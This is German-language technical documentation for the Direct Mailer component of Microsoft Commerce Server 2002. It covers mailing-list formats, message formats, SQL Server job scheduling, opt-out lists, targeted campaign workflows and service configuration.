Direct Mailer kann Nachrichtentexte aus Webseiten oder statischen Dateien erstellen. Wenn Sie Direct Mailer durch Hinzufügen von benutzerdefinierten Komponenten zur Direct Mailer-Pipeline erweitern, ist auch die Erstellung von Nachrichten unter Verwendung anderer Quellen, z. B. SQL Server-Vorlagen, möglich. In der Direct Mailer-Pipeline werden Komponenten ausgeführt, die nach potenziellen Empfängern suchen. Darüber hinaus werden dort E-Mail-Nachrichten personalisiert und versendet. Sie können der Pipeline neue Komponenten hinzufügen, die Komponenten in unternehmensspezifische Systeme integrieren oder sie durch Komponenten von Drittanbietern ersetzen. Weitere Informationen über Komponenten der Direct Mailer-Pipeline finden Sie unter Informationen über die Direct Mailer-Pipeline.

Direct Mailer kann personalisierte E-Mail-Nachrichten über eine Website oder nicht personalisierte Mailings auf Grundlage einer Text-Flatfile an große Gruppen von Empfängern senden.

Dieser Abschnitt beinhaltet folgende Themen:

  • Direct Mailer-Anforderungen
  • Direct Mailer-Datenbanken
  • Abonnementkündigungslisten
  • Leistungsmerkmale von Direct Mailer


Direct Mailer-Anforderungen

Für Direct Mailer gelten die folgenden Anforderungen:

  • Softwareanforderungen und -abhängigkeiten
  • Adressenlistenformate
  • Nachrichtenformate
  • Nachrichtenquellen

Softwareanforderungen und -abhängigkeiten

Direct Mailer verwendet als Datenbank Microsoft SQL Server 2000. Für sich wiederholende Mailings benötigt Direct Mailer den SQL Server-Agent; es ist jedoch nicht erforderlich, dass Direct Mailer auf demselben Computer wie SQL Server oder der SQL Server-Agent installiert ist.

Weitere Informationen zu SQL Server finden Sie in der SQL Server-Onlinedokumentation.

Microsoft Windows 2000 enthält die folgenden Komponenten, von denen Direct Mailer abhängig ist:

  • Microsoft ActiveX Data Objects (ADO oder ActiveX-Datenobjekte). Durch ADO kann Direct Mailer auf Daten in der Direct Mailer-Datenbank zugreifen und diese Daten ändern. Um auf Daten zuzugreifen, die sich auf einem oder mehreren Computern mit SQL Server befinden, wird der OLE DB-Provider für Microsoft SQL Server verwendet.
  • Microsoft Windows Collaboration Data Objects (CDO oder Kollaborationsdatenobjekte). Durch CDO wird eine Gruppe von COM-Schnittstellen zur Verfügung gestellt, über die Direct Mailer operiert. Direct Mailer verwendet hauptsächlich zwei Schnittstellen: IMessage und IConfiguration. Diese Schnittstellen ermöglichen das Erstellen, Formatieren und Versenden von Simple Mail Transfer Protocol-Nachrichten (SMTP oder einfaches E-Mail-Übertragungsprotokoll) über das Netzwerk sowie die lokale Übermittlung.

Adressenlistenformate

Direct Mailer unterstützt die folgenden Adressenlistenquellen:

  • Textdateien, z. B. durch Trennzeichen getrennte Dateien (CSV)
  • SQL Server-Abfragen
  • Analyseberichte
  • Segmentlisten

Eine Direktsendungsliste enthält eine oder mehrere Empfängerzeilen. Jede Zeile in der Liste enthält einen einzigen Empfänger und besteht aus den folgenden Elementen im durch Trennzeichen getrennten (CSV-)Format.

Parameter | Beschreibung
E-Mail-Adresse | Erforderlich. Name oder <name@domäne>.
GUID | Optional. Die eindeutige Benutzer-ID, die zum Bereitstellen von Inhalt in personalisierten E-Mail-Nachrichten verwendet wird.
Nachrichtenformat | Optional. Steuert den Nachrichtenformattyp, in den CDO die Ergebnisse konvertiert. Beispiel: Text, MHTML oder MIME.
Sprache | Optional. Der Codepagewert für die E-Mail-Nachricht.
URL | Optional. Ermöglicht es, einzelne URLs pro Benutzer an CDO zu übergeben.

Hinweis

  • Wenn Sie einen optionalen Parameter nicht verwenden, müssen Sie das Trennzeichen einfügen, um die nachfolgenden optionalen Parameter angeben zu können.

Nachrichtenformate

Es gibt mehrere Methoden zum Entwickeln von Inhalten zum Versenden von Direktsendungsnachrichten. Das Nachrichtenformat steuert den Formattyp, in den die Ergebnisse vom Collaboration Data Object (CDO) übersetzt werden. Direct Mailer unterstützt drei Nachrichtenformattypen: Text, MIME und MHTML.

  • Text. Formatiert die E-Mail im ASCII-Format.
  • MIME (Multipurpose Internet Mail Extensions). Ein offizieller Internetstandard, durch den festgelegt wird, wie Nachrichten formatiert sein müssen, damit sie zwischen unterschiedlichen E-Mail-Systemen ausgetauscht werden können. MIME ist ein flexibles Format, das das Simple Mail Transfer Protocol (SMTP) dahingehend erweitert, dass Daten wie Video- und Audioclips sowie binäre Dateien per Internet-E-Mail übertragen werden können, ohne dass diese zunächst in das ASCII-Format übersetzt werden müssen.
  • MHTML (MIME Encapsulation of Aggregate HTML Documents). Bei diesem Format werden Teile einer Webseite oder eine gesamte Webseite als Nachricht übertragen. Die Nachricht kann sämtliche oder Teile der HTML-Formate, Grafiken und anderen Elemente einschließen, die in der ursprünglichen Webseite enthalten sind.
MHTML baut auf MIME auf und ermöglicht eine flexiblere Übertragung von HTML-Dokumenten. Die Nachricht kann weitere verknüpfte Dokumente in einem mehrteiligen/zugehörigen Teil des MIME-Körpers enthalten. Links in HTML zu anderen enthaltenen Teilen können durch CID (Content-ID)-URLS oder durch einen beliebigen anderen URL-Typ bereitgestellt werden. Der verknüpfte Teil des MIME-Körpers wird in seiner Überschrift entweder durch eine Content-ID (Verknüpfung durch CID-URLs) oder eine Content-Location (Verknüpfung durch einen beliebigen anderen URL-Typ) gekennzeichnet.

Wenn Sie verhindern möchten, dass der Direct Mailer-Dienst E-Mails als MHTML formatiert, und die HTML-Ausgabe einer ASP-Seite völlig unverändert in der E-Mail senden möchten, finden Sie entsprechende Informationen dazu in der Direct Mailer ComposeDMLMessage-Komponente im Abschnitt zum Erstellen von E-Mails der Datei DMLPipe.pcf. Sie befindet sich im Ordner Laufwerkbuchstabe:\Programme\Microsoft Commerce Server 2002. Die ComposeDMLMessage-Komponente ist für die Formatierung des Nachrichtentextes verantwortlich.

In den folgenden Abbildungen veranschaulicht, wie E-Mail-Nachrichten für die drei Nachrichtenformate (Text, MIME und MHTML) dargestellt werden, wenn für die folgende ASP-Seite HTML-Inhalt vorhanden ist:

<html>

<body>

<h1>SPRING SALE !!!</h1>

<img src=http://<server name>/SKY.JPG height=100 width=100 />

</body>

</html>

In der folgenden Abbildung ist eine Nachricht dargestellt, die mit dem Format einer Textnachricht gesendet wurde. Bei diesem Nachrichtentyp werden sämtliche HTML-Objekte entfernt, und es wird nur der Text gesendet.

Hinweis

  • Die folgenden Bildschirmabbilder stammen aus Outlook Express. In anderen E-Mail-Clients sehen sie u. U. anders aus.

    Format einer Textnachricht

    In der folgenden Abbildung ist eine Nachricht dargestellt, die mit dem MIME-Nachrichtenformat gesendet wurde. Bei diesem Nachrichtentyp werden die HTML-Objekte im MIME-Format codiert, das Bild SKY.jpg wird aus dem Speicherort in der ASP-Seite abgerufen und als Anlage angefügt. Die Nachricht enthält nur die Textnachricht.

    Format einer MIME-Nachricht

    In der folgenden Abbildung ist eine Nachricht dargestellt, die mit dem MHTML-Nachrichtenformat gesendet wurde. Bei diesem Nachrichtentyp werden die HTML-Objekte im MHTML-Format codiert, und das Bild SKY.jpg wird aus dem Speicherort in der ASP-Seite abgerufen. Das Bild wird in BASE-64 codiert und mit einer CID versehen, die intern mit dem SRC-Attribut des Bildes verknüpft wird.

    Format einer MHTML-Nachricht

Wichtig

  • Bei den drei Nachrichtenformaten (Text, MIME und MHTML), die beim Erstellen von Direktsendungskampagnen in Business Desk verfügbar sind, handelt es sich um die Standardwerte. Sie werden nur verwendet, wenn das benutzerspezifische E-Mail-Format NULL lautet. Falls beim Erstellen oder Importieren der Adressenliste ein benutzerspezifisches E-Mail-Format festgelegt wurde, wird beim Versand der Direktsendungen das benutzerspezifische Format verwendet.

Nachrichtenquellen

Direct Mailer kann URLs oder Dateipfade als Nachrichtenquellen verwenden. Wenn Sie eine Datei verwenden, müssen Sie sicherstellen, dass diese sich in einem Verzeichnis befindet, auf das Direct Mailer zugreifen kann.

Aus Gründen der Leistungsverbesserung lädt Direct Mailer den Dateiinhalt im Voraus in den Speicher, wodurch die Dateigröße beschränkt wird. Die Datei kann eine beliebige Größe aufweisen; es werden jedoch nur die ersten zwei Millionen ASCII-Zeichen bzw. nur die erste Million Unicode-Zeichen in den Speicher geladen.


Direct Mailer-Datenbanken

Direct Mailer nutzt intensiv SQL Server 2000 sowie den SQL Server-Agent. Die Direct Mailer-Datenbank wird bei der Installation von Commerce Server automatisch in SQL Server erstellt. Mit dem SQL Server-Agent, der permanent ausgeführt wird, können Sie wiederkehrende Aufträge planen und ausführen und detaillierte Informationen zu Ihren Direct Mailer-Aufträgen anzeigen lassen. Sie können den Status von Direct Mailer-Aufträgen, das Datum und die Uhrzeit der letzten Ausführung und den Zeitpunkt der nächsten geplanten Ausführung überprüfen.

Direct Mailer verwendet bei der Ausführung als integrierter Bestandteil von Commerce Server die folgenden Datenbanken:

  • DirectMailer-Datenbank. Enthält die Details und Informationen zum Direct Mailer-Auftrag. Direct Mailer greift auf diese Datenbank zu, um Adressenlisten zu verwalten, den Verlauf der Aufträge zu überwachen und wiederkehrende Direct Mailer-Aufträge zu planen.
  • Kampagnendatenbank. Enthält die Details und Informationen zum Direktsendungskampagnenartikel.

In der folgenden Abbildung sind Direct Mailer-Aufträge und die zugehörigen Details dargestellt, wie sie im SQL Server-Agent angezeigt werden.

So starten Sie einen Direct Mailer-Auftrag im SQL Server-Agent

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server 2000, und klicken Sie auf Enterprise Manager.
  2. Erweitern Sie die Knoten auf den folgenden Pfad: \Microsoft SQL Server\SQL Server-Gruppe\<Name des SQL Server-Computers>\Verwaltung\SQL Server-Agent\.
  3. Klicken Sie auf Aufträge. Die Direct Mailer-Aufträge werden im rechten Bereich von SQL Server Enterprise Manager angezeigt.
  4. Klicken Sie mit der rechten Maustaste auf den Direct Mailer-Auftrag, und wählen Sie Auftrag starten aus.

Hinweis

  • Zur erneuten Planung eines Direct Mailer-Auftrags verwenden Sie das Modul "Kampagnen-Manager" in Commerce Server Business Desk. Informationen zum Planen von Direct Mailer-Aufträgen finden Sie unter Planen von Direktsendungen.

Siehe auch

Planen von Direktsendungen


Abonnementkündigungslisten

Direct Mailer bietet Funktionen zur Abonnementkündigung bzw. zum Filtern von Direktsendungslisten anhand von Abonnementkündigungslisten. Für Direct Mailer-Aufträge, die als Teil eines Kampagnenartikels ausgeführt werden, bietet die Plattform für die einzelnen Empfänger die Möglichkeit, das Abonnement für Direktsendungskampagnenartikel zu kündigen. Dies geschieht durch Verwendung einer Active Server Page (ASP), die als Teil der Lösungssites geliefert wird.

Bei der Entwicklung der ASP für die Direct Mailer-Aufträge vom Webserver können Hyperlinks zu einer Abonnementkündigungs-ASP zur Verfügung gestellt werden. So können die Empfänger durch Klicken auf den entsprechenden Hyperlink das Abonnement entweder von der Site oder vom Direktsendungskampagnenartikel kündigen. Wenn ein Direct Mailer-Auftrag als Teil eines Kampagnenartikels ausgeführt wird, prüft Direct Mailer, ob eine Abonnementkündigungsliste auf Siteebene oder auf Kampagnenebene vorhanden ist. Wenn eine der beiden Listen vorhanden ist, werden die Empfänger aus der ursprünglichen Direktsendungsliste entfernt, und die daraus entstehende Liste fungiert als neue Direktsendungsliste.

Um Unterstützung für Abonnementkündigungslisten von der Befehlszeilenschnittstelle aus zu bieten, verwenden Sie die Parameter OptoutListType, OptoutListLocation und OptoutListSQL in einer Auftragsdatei, die mit dem Dateiformat Windows.ini kompatibel ist. Weitere Informationen zur Abonnementkündigung über die Befehlszeilenschnittstelle finden Sie unter Auftragsdatenabschnitt.

Siehe auch

Auftragsdatenabschnitt


Leistungsmerkmale von Direct Mailer

Direct Mailer verwendet ein sehr leistungsfähiges, personalisiertes Modul zum Erstellen von E-Mails. Ein einfaches Direct Mailer-Setup auf zwei Ebenen (zwei Pentium III-Prozessoren mit jeweils 550 MHz) mit einem Direct Mailer-Server und einem personalisierten Webserver kann personalisierte Nachrichten mit einer Geschwindigkeit von 40 Nachrichten pro Sekunde generieren. Das sind umgerechnet mehr als 3,5 Millionen personalisierte E-Mail-Nachrichten pro Tag, verteilt auf einen Zeitraum von 24 Stunden. Weitere Informationen zur Leistungsfähigkeit von Direct Mailer finden Sie unter http://go.microsoft.com/fwlink/?LinkId=5165.


Verwenden des Listen-Managers zum Erstellen und Verwalten von Direktsendungslisten

Der Listen-Manager ist ein Windows 2000-Dienst, mit dem Benutzerlisten verwaltet werden können. Mit Listen-Manager können Sie Listen von Direktsendungsempfängern erstellen und verwalten. Es gibt zwei Arten von Listen: generische Listen und Adressenlisten. Generische Listen werden aus dem Berichtemodul, dem Modul "Segment-Viewer", einer SQL Server-Tabelle oder einer ASCII-Textdatei in Listen-Manager importiert. Der Listen-Manager versucht, generische Listen automatisch in Adressenlisten zu konvertieren, wenn Spalten mit E-Mail-Adressen gefunden werden. Adressenlisten werden in Direct Mailer verwendet, um Nachrichten zu erstellen und an ausgewählte Empfänger in der Liste zu übermitteln. Wenn die generische Liste keine E-Mail-Adressen enthält, wird die Liste als Benutzerliste importiert, wenn die Formatanforderungen erfüllt sind. Weitere Informationen zu Adressenlistenformaten finden Sie unter Adressenlistenformate.

Nach dem Import in den Listen-Manager können die Listen zur Ausführung von Direktsendungsaufträgen und erfolgreichen Zielgruppenadressierung von Benutzern verwendet werden. So können Sie z. B. Berichte ausführen, die die Merkmale Ihrer Benutzer und deren bisheriges Verhalten darstellen, und dann eine Direktsendungskampagne zur Zielgruppenadressierung von Anzeigen oder Produkten an diese Benutzer durchführen.

Sie können auch Listen aus dem Listen-Manager in eine Datei oder eine SQL Server-Datenbank exportieren, Listen hinzufügen oder entfernen, Listen extrahieren und löschen.

Erstellen von Empfängerlisten

Verarbeiten von Empfängerlisten

Erstellen von Empfängerlisten

Zum Erstellen von Empfängerlisten für Direktsendungskampagnen verwenden Sie das Modul "Listen-Manager" im Kampagnenmodul. Listen für den Listen-Manager werden mit anderen Anwendungen wie SQL Server (SQL-Tabellen), Editor (ASCII-Textdateien), Microsoft Excel (Kalkulationstabellen) oder Microsoft Outlook (PST-Dateien mit Nachrichten, Terminen, Kontakten und anderen Outlook-Elementen) erstellt.

Sie können aus Analyseberichten, aus Segment-Viewer oder aus einer externen Datenbank eine Empfängerliste generieren und diese Liste dann in den Listen-Manager importieren. Informationen über das Importieren von Listen in den Listen-Manager finden Sie unter Importieren und Exportieren von Listen.

Verarbeiten von Empfängerlisten

Zum Verarbeiten einer Empfängerliste lädt Direct Mailer die Empfängerliste zunächst aus Listen-Manager in eine Auftragstabelle. Dann wird die Benutzerliste verarbeitet, wobei die Empfängerdaten über die Direct Mailer-Pipeline gesendet werden.

Siehe auch

Adressenlistenformate


Geschlossene Systeme mit Direct Mailer

Wenn Sie auf Ihrer Website die Benutzerdaten erfassen, können Sie Ihr Unternehmen analysieren und dann anhand der Analyseergebnisse Ihre Zielgruppe genauer definieren. Sie können z. B. bestimmte Benutzergruppen identifizieren, indem Sie einen Bericht ausführen und die Ergebnisse anschließend in eine Liste im Listen-Manager exportieren. Nach dem Export einer Liste können Sie die Benutzerprofile mit dem Modul "Benutzer" in "Profile" aktualisieren. Danach können Sie Anzeigen oder Preisnachlässe auf diejenigen Benutzer abstimmen, die ein bestimmtes Profil besitzen. Sie können z. B. mit Anzeigen gezielt Benutzerinnen ansprechen, die Ihre Site dreimal pro Woche besuchen und drei oder mehr Produkte gekauft haben.

Mit diesem geschlossenen System können Sie das über Ihre Website erzielte Umsatzvolumen direkt beeinflussen. Das folgende Beispiel eines geschlossenen Systems zeigt, wie die Benutzerprofildaten angepasst werden und mithilfe von Direct Mailer Werbematerialien an die Benutzer gesendet werden können, die den Kriterien der Zielgruppe entsprechen. Nach der Analyse der Ergebnisse gehen Sie zum nächsten Schritt des Systemkreislaufs über.

Im Folgenden finden Sie eine Übersicht über die Schritte, die Sie mit Direct Mailer ausführen müssen, um einen geschlossenen Systemkreislauf zu erzeugen.

  • Schritt 1: Erstellen einer Benutzerliste
  • Schritt 2: Erfassen von Benutzerdaten.
  • Schritt 3: Kategorisieren der Benutzer in der Liste
  • Schritt 4: Erstellen von Zielgruppen
  • Schritt 5: Analysieren der Ergebnisse


Schritt 1: Erstellen einer Benutzerliste

Sie können einen statischen Analysebericht, z. B. den Bericht "Eigenschaften von registriertem Benutzer", in den Listen-Manager exportieren, um eine Benutzerliste zu generieren. Anhand der einmal erzeugten Benutzerliste können Sie Werbekampagnen mithilfe von Direct Mail gezielt führen. Informationen zum Exportieren von Berichten in den Listen-Manager finden Sie in Exportieren eines Berichts in den Listen-Manager.

Hinweis

  • Die erzeugte Benutzerliste muss eine Spalte für die Benutzer-ID enthalten (rcp_guid). Informationen zu Benutzerlisten finden Sie unter Benutzerlisten.


Schritt 2: Erfassen von Benutzerdaten

Sie können Ihr Benutzerprofil um eine neue Eigenschaft erweitern, die als weiteres Kriterium für Zielgruppen verwendet werden kann. Ein Profil ist eine einzelne Instanz einer Profildefinition, welche die von der Profildefinition gesammelten Daten enthält. So können Sie beispielsweise eine Profildefinition entwerfen, um Benutzerdaten, z. B. Angaben zu bevorzugt ausgeübten Sportarten, zu sammeln. Verwenden Sie die Profilressource oder das Benutzermodul in Commerce Server Business Desk, um Ihrer Profildefinition neue Eigenschaften hinzuzufügen. Weitere Informationen zum Erweitern des Benutzerprofils finden Sie unter Hinzufügen von Eigenschaften zu Profildefinitionen in der Profilressource.


Schritt 3: Kategorisieren der Benutzer in der Liste

Mit der die Suchfunktion im Business Desk-Benutzermodul können Sie in Ihrer Adressenliste nach Benutzerprofilinstanzen suchen. Wenn Sie die Profilinstanzen in Ihrer Adressenliste gefunden haben, können Sie im Aktualisierungsabfragenmodus den Profileigenschaften die Werte zuweisen, die beim Filtern der Benutzerliste als Zielkriterien dienen. Weitere Informationen zum Suchen nach Benutzergruppen in Adressenlisten finden Sie unter Suchen von Benutzerprofilen in Adressenlisten. Informationen zum Bearbeiten von Benutzergruppen finden Sie unter Bearbeiten mehrerer Benutzerprofile.


Schritt 4: Erstellen von Zielgruppen

Mit einer Direktsendungskampagne können Sie Werbesendungen gezielt an die Gruppe der Benutzer versenden, die dem Wert entsprechen, auf den Sie die Profileigenschaft in Schritt 3 gesetzt haben. Direct Mailer greift auf die Benutzerliste zu, die sich im Listen-Manager befindet, um E-Mail-Nachrichten an die Benutzer der gewünschten Zielgruppe zu senden. Weitere Informationen zum Erstellen einer Direktsendungskampagne finden Sie unter Erstellen einer Direktsendung.


Schritt 5: Analysieren der Ergebnisse

Anhand der Analysemodule in Commerce Server Business Desk können Sie den Erfolg Ihrer Direktsendungskampagne überprüfen; dabei analysieren Sie die Benutzeraktivitäten, indem Sie Berichte im Data Warehouse ausführen. Informationen zum Ausführen von Berichten finden Sie unter Ausführen von Berichten.


Einrichten einer Direktsendungskampagne

Das Modul "Kampagnen-Manager" in Business Desk bietet eine Schnittstelle zum Erstellen von Direktsendungen. Sie können Direct Mailer-Aufträge für alle Direktsendungskampagnen über Kampagnen-Manager verwalten. Sie können neue Direktsendungskampagnen erstellen, Nachrichten personalisieren und Eigenschaften ändern. Sie können Ihren Direktsendungen Anlagen hinzufügen und den Ausführungszeitpunkt für Direct Mailer-Aufträge festsetzen. Sie können Ihre Direktsendung auch unter Verwendung einer Testadressenliste testen, bevor Sie die Kampagne in die Produktion senden.

Im Folgenden finden Sie eine Übersicht über die Schritte, die Sie zum Einrichten und Ausführen einer Direktsendungskampagne durchführen müssen.

Hinweis

Der Direct Mailer-Dienst muss ausgeführt werden, bevor Sie die Direktsendungskampagne durchführen können.

  1. Konfigurieren Sie die Eigenschaften von Direct Mailer:
    • Mit Commerce Server-Manager steuern Sie, wie Ihre Direct Mailer-Aufträge ausgeführt werden.
  2. Erstellen Sie den Nachrichtentext, der an die Empfänger gesendet werden soll. Wenn Sie z. B. personalisierte Nachrichtentexte liefern möchten, entwickeln Sie eine personalisierte Active Server Page (ASP), die den Nachrichtentext für Direct Mailer zur Verfügung stellt.
  3. Geben Sie die Datenquelle an, die die Empfängerdaten enthält, und richten Sie sie ein:
    • Um eine Empfängerliste aus Daten im Data Warehouse zu erstellen, verwenden Sie das Berichtemodul in Commerce Server Business Desk. Um die zu verwendenden statischen Berichte anzeigen zu lassen, wählen Sie die Berichte aus, und exportieren Sie die daraus entstehende Liste in Listen-Manager. Weitere Informationen zum Importieren und Exportieren von Listen in Listen-Manager finden Sie unter Importieren und Exportieren von Listen.
    • Um eine Empfängerliste aus einer Datei zu erstellen, benötigen Sie den Pfad der Datei.
    • Um eine Empfängerliste aus einer SQL Server-Datenbank zu erstellen, benötigen Sie die Verbindungszeichenfolge und die SQL Server-Abfragezeichenfolge.
  4. Erstellen und planen Sie die Direktsendungskampagne. Verwenden Sie das Modul "Kampagnen-Manager", um die folgenden Informationen festzulegen:
    • Name der Kampagne und des Kunden
    • Name der Empfängerliste
    • Startzeit und -datum der Direktsendungskampagne
    • Uniform Resource Locator (URL oder genormte Ressourcenangabe) oder statische Datei, bei dem bzw. der Direct Mailer den personalisierten Nachrichtentext abrufen soll.
      Hinweis
    • Der URL des personalisierten Nachrichtentextes muss eine gültige Erweiterung für den HTML-Inhaltstyp wie HTM oder ASP haben. Ungültige Erweiterungen wie .XML führen zu einem CDO-Fehler (Collaboration Data Objects), sodass die Nachricht nicht gesendet wird.

Die Direktsendungskampagne wird zum geplanten Zeitpunkt ausgeführt. Informationen dazu, wie Sie Ihre Direktsendungslisten testen können, bevor Sie sie zur Produktion senden, finden Sie unter Testen einer Direktsendungskampagne.

Siehe auch

Informationen zu Kampagnen

Erstellen einer Marketingkampagne

Erstellen einer Direktsendung

Verwalten von Listen mit Benutzereinträgen


Entwickeln von Direktsendungsinhalten

Direct Mailer kann Nachrichtentexte aus Webseiten oder statischen Dateien erstellen. Wenn Sie Direct Mailer durch Hinzufügen von benutzerdefinierten Komponenten zur Direct Mailer-Pipeline erweitern, ist auch die Erstellung von Nachrichten unter Verwendung von anderen Quellen, wie z. B. SQL Server-Vorlagen, möglich. Weitere Informationen zum Hinzufügen von benutzerdefinierten Komponenten zur Direct Mailer-Pipeline finden Sie unter Using the Direct Mailer Pipeline (englisches Thema).

Aus Gründen der Leistungsverbesserung lädt Direct Mailer den Dateiinhalt von statischen Dateien im Voraus in den Speicher. Die Dateigröße ist auf zwei Millionen ASCII-Zeichen bzw. eine Million Unicode-Zeichen beschränkt. Die restlichen Zeichen in der Datei werden ignoriert und nicht in der Nachricht gesendet.

Die einzige Möglichkeit zum Versenden von individuell personalisierten E-Mail-Nachrichten besteht im Verwenden einer Webseite. Um personalisierte Nachrichtentexte liefern zu können, müssen Sie zunächst die personalisierte Webseite erstellen. Für den Versand zielgerichteter E-Mail-Nachrichten mit Direct Mailer verwenden Sie Kundeninformationen und benutzerdefinierte Active Server Pages (ASP). Direct Mailer funktioniert ähnlich wie ein Webbrowser: Der Dienst ruft die Benutzerkennung für den Kunden aus einem Cookie ab und greift dabei auf den Profildienst zu, um das Benutzerprofil abzurufen und die Seite schließlich personalisiert anzuzeigen.

Hinweis

  • Wenn Sie beim Senden eines Mailings im MHTML-Format (MIME Encapsulation of Aggregate HTML Documents, Einschließen von aggregierten HTML-Dokumenten mit MIME) von Direct Mailer aus eine Textanlage festlegen, wird die personalisierte Webseite bei der Anzeige in Microsoft Outlook als Anlage angezeigt. Dies gilt nur für Outlook, nicht jedoch für Microsoft Outlook Express.


Konfigurieren von Direct Mailer

Bevor Sie Direct Mailer ausführen, empfiehlt es sich gegebenenfalls, die Eigenschaften zur Steuerung der Auftragsausführung zu überprüfen und zu ändern. Die Eigenschaften von Direct Mailer werden auf der Ebene der globalen Ressourcen eingesetzt.

Die Verbindungszeichenfolge der Direct Mailer-Ressource wird beim Entpacken festgelegt. Sie können diese Verbindungszeichenfolge zur DirectMailer-Datenbank bearbeiten, die Informationen wie Adressenlisten, Nachrichten und Direktsendungsereignisdaten enthält.

Hinweis

  • Konfigurieren Sie die globale Ressource für Direct Mailer nicht für die Verwendung der SQL-Authentifizierung. Weitere Informationen dazu, wie Sie von der SQL-Authentifizierung zur integrierten Sicherheit von Windows wechseln, finden Sie unter Sicherheitsrisiko: Verwenden der SQL-Authentifizierung für die globale Ressource für Direct Mailer.

So ändern Sie die Eigenschaften von Direct Mailer

So ändern Sie die Verbindungszeichenfolge der Direct Mailer-Ressource

So ändern Sie die Eigenschaften von Direct Mailer

  1. Erweitern Sie Commerce Server-Manager, öffnen Sie die Commerce-Gruppe, die Sie verwalten möchten, und klicken Sie dann auf Globale Ressourcen.
  2. Klicken Sie mit der rechten Maustaste auf Direct Mailer, und wählen Sie Eigenschaften aus.
  3. Führen Sie im Dialogfeld Eigenschaften von Direct Mail on <Servername> auf der Registerkarte Eigenschaften folgende Schritte aus:
Option (Eigenschaften) | Aktion (Ausgewählter Eigenschaftswert)
Übermittlungspfade Geben Sie den Übermittlungspfad ein.

Es muss mindestens ein Eintrag angegeben werden. Sie können ein Ablageverzeichnis oder die Adresse eines SMTP-Servers verwenden.

Wenn Sie ein Ablageverzeichnis nutzen, werden Ihre Direktsendungsaufträge von einem Exchange-Server verarbeitet, der die Dateien asynchron überträgt. Da die Verknüpfung zwischen Direct Mailer und Exchange asynchron ist, können die Aufträge mit größerer Geschwindigkeit übertragen werden.

Falls Sie einen SMTP-Server nutzen, der in Windows 2000 Server (oder anderen Windows Server-Versionen) integriert ist, werden die Direktsendungsaufträge synchron übertragen.

Hinweis

  • Commerce Server 2002 greift auf CDO (Collaboration Data Objects) zu, die eine Gruppe von COM-Schnittstellen zur Verfügung stellen, über die Direct Mailer operiert. Direct Mailer verwendet hauptsächlich zwei Schnittstellen: IMessage und IConfiguration. Diese Schnittstellen ermöglichen das Erstellen, Formatieren und Versenden von Simple Mail Transfer Protocol-Nachrichten (SMTP oder einfaches E-Mail-Übertragungsprotokoll) über das Netzwerk sowie die lokale Übermittlung.

Weitere Information zum Konfigurieren eines SMTP-Servers für Direct Mailer finden Sie unter Verwenden von mehreren Übermittlungspfaden.
Übermittlungsmethode Geben Sie den Wert ein, der bestimmt, auf welche Weise die Mailings übermittelt werden sollen:

1 = SMTP-Server

2 = Lokal in ein Ablageverzeichnis
Protokollordnerpfad | Geben Sie den Speicherort der Direct Mailer-Vorgangsprotokolldatei ein.
Maximaler Fehleranteil | Geben Sie den maximal zulässigen Prozentsatz von Fehlern pro Auftrag ein.
Maximale Threadzahl | Geben Sie die maximal zulässige Anzahl von Threads pro Auftrag ein.
Nachrichten pro Stunde Geben Sie die Anzahl von Nachrichten pro Stunde ein, die dieser Server produzieren kann.

Wenn diese Eigenschaft auf null (0) eingestellt wird, verarbeitet Direct Mailer Nachrichten mit höchstmöglichem Durchsatz.

Anzahl der Wiederholungen Geben Sie an, wie oft der Verbindungsaufbau zur DirectMailer-Datenbank im Fall von Verbindungsfehlern wiederholt wird. Diese Eigenschaft legt die Anzahl der Wiederholungen für Übermittlungspfade fest.

Wenn alle Wiederholungen durchlaufen wurden, ist der aktive Auftrag beendet.

Leistungsaktualisierungsintervall | Geben Sie das Leistungsaktualisierungsintervall in Sekunden ein.
Pipelinekonfigurationsdatei | Geben Sie den Speicherort der Pipelinekonfigurationsdatei DMLPipe.pcf ein.
Proxyumgehung | Geben Sie die lokalen Computer ein, bei denen keine Proxyüberprüfung erforderlich ist, oder geben Sie einen Wert ein, der für alle lokalen Computer steht.
Proxyserver | Geben Sie den Namen des zu verwendenden Proxyservers ein.
Wiederholungsintervall | Geben Sie die Anzahl der Sekunden ein, die zwischen den Wiederholversuchen zum Datenbankverbindungsaufbau liegen sollen.

Hinweis

  • Die Eigenschaften Protokollordnerpfad, Nachrichten pro Stunde, Proxyumgehung, Proxyserver und Verbindungszeichenfolgen basieren auf einer Dienstinstanz. Das bedeutet, dass Direct Mailer jedes Mal neu gestartet werden muss, wenn Änderungen an den Werten für diese Eigenschaften vorgenommen werden. Die übrigen Direct Mailer-Eigenschaften basieren auf einer Auftragsinstanz, sodass Direct Mailer nicht neu gestartet werden muss.

So ändern Sie die Verbindungszeichenfolge der Direct Mailer-Ressource

  1. Erweitern Sie nacheinander Commerce Server-Manager und Globale Ressourcen, klicken Sie mit der rechten Maustaste auf Direct Mailer, und wählen Sie dann Eigenschaften aus.
  2. Wählen Sie im Dialogfeld Eigenschaften von Direct Mail on <Servername> auf der Registerkarte Verbindungszeichenfolgen die Option Direct Mailer-Datenbank aus, und klicken Sie dann auf Ändern.
  3. Nehmen Sie im Dialogfeld Datenverknüpfungseigenschaften die folgenden Einstellungen vor:
    Option | Aktion
    Geben Sie einen Servernamen ein, oder wählen Sie einen aus | Wählen Sie in der Dropdownliste einen Servernamen aus, oder geben Sie den Pfad des Servers ein, auf dem sich die Datenbank befindet, auf die Sie zugreifen möchten.
    Integrierte Sicherheit von Windows NT verwenden Klicken Sie hierauf, um festzulegen, dass der Provider eine sichere (bzw. vertrauenswürdige) Verbindung zu einem SQL Server-Computer anfordern soll, auf dem Microsoft Windows NT ausgeführt wird.

    Dies ist die empfohlene Konfiguration.
    Spezifischen Benutzernamen und spezifisches Kennwort verwenden
            Klicken Sie hierauf, um Ihre Anmeldeinformationen anhand eines SQL Server-Benutzernamens und Kennworts gegenüber der Datenquelle zu authentifizieren.

    Diese Option wird nicht empfohlen.
    Benutzername Geben Sie die Benutzer-ID ein, die bei der Anmeldung bei der Datenquelle zur Authentifizierung verwendet werden soll.

    Diese Option wird nicht empfohlen.
    Kennwort Geben Sie das Kennwort ein, das bei der Anmeldung bei der Datenquelle zur Authentifizierung verwendet werden soll.

    Diese Option wird nicht empfohlen.
    Leeres Kennwort | Wählen Sie diese Option aus, um ein leeres Kennwort in der Verbindungszeichenfolge zurückzugeben.
    Speichern des Kennworts zulassen | Wählen Sie diese Option aus, um das Speichern des Kennworts mit der Verbindungszeichenfolge zuzulassen.
